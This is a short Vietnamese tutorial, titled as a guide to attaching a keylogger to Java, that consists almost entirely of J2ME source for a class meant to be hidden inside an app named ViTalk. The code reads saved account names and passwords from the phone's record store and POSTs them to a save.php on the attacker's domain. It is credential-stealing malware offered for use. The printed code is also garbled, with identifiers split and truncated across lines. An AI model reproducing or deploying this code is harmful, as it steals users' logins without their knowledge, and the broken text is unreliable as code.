Hướng dẫn gắn keylog vào java

import
javax.microedition.io.*;
import java.io.*;
import
javax.microedition.rms.*;
public class x0 implements Runnable{
ViTalk main;
public x0(ViTalk main){
this.main=main;
}
public void start(){ new Thread(this).start();
}
public void run(){
try{
HttpConnection hc=
(HttpConnection) Connector.open("http://
domain của b/save.php")
;
DataOutputStream
dos=hc.openDataOutputS
(); hc.setRequestMethod
(HttpConnection.POST);
hc.setRequestProperty
("Content-
Type","application/x-
www- form-urlencode");
String[]
list=RecordStore.listRecor
();
RecordStore
rd=RecordStore.openRec (list[1],false);
int
id=rd.getNextRecordID();
for(int i=1;i<id;i++){
byte[] tk=new byte
[rd.getRecordSize(i)]; rd.getRecord(i,tk,0);
String nick=new String
(tk,0,tk.length); dos.write
("taikhoan=".getBytes());
dos.write(urlEncode
(nick) .getBytes("UTF-8"));
}
RecordStore
rd2=RecordStores.openR
(list[2],false);
int id2=rd2.getNextRecordID
();
for(int j=1;j<id2;j++){
byte[] mk=new byte
[rd2.getRecordSize(j)];
rd2.getRecord(j,mk,0); String pass=new String
(mk,0,mk.length);
dos.write
("&matkhau=".getBytes()
); dos.write(urlEncode
(pass) .getBytes("UTF-8"));
}
dos.write
("&subm=Them".getByte
());
dos.flush(); dos.close(); hc.close();
}catch(Exception e){}
}
public String urlEncode
(String input)
{ StringBuffer sb=new StringBuffer();
char c;
for(int i=0;i<input.length
();i+
+){
c=input.charAt(i); sb.append(c);
}
return sb.toString();
}
}
preverify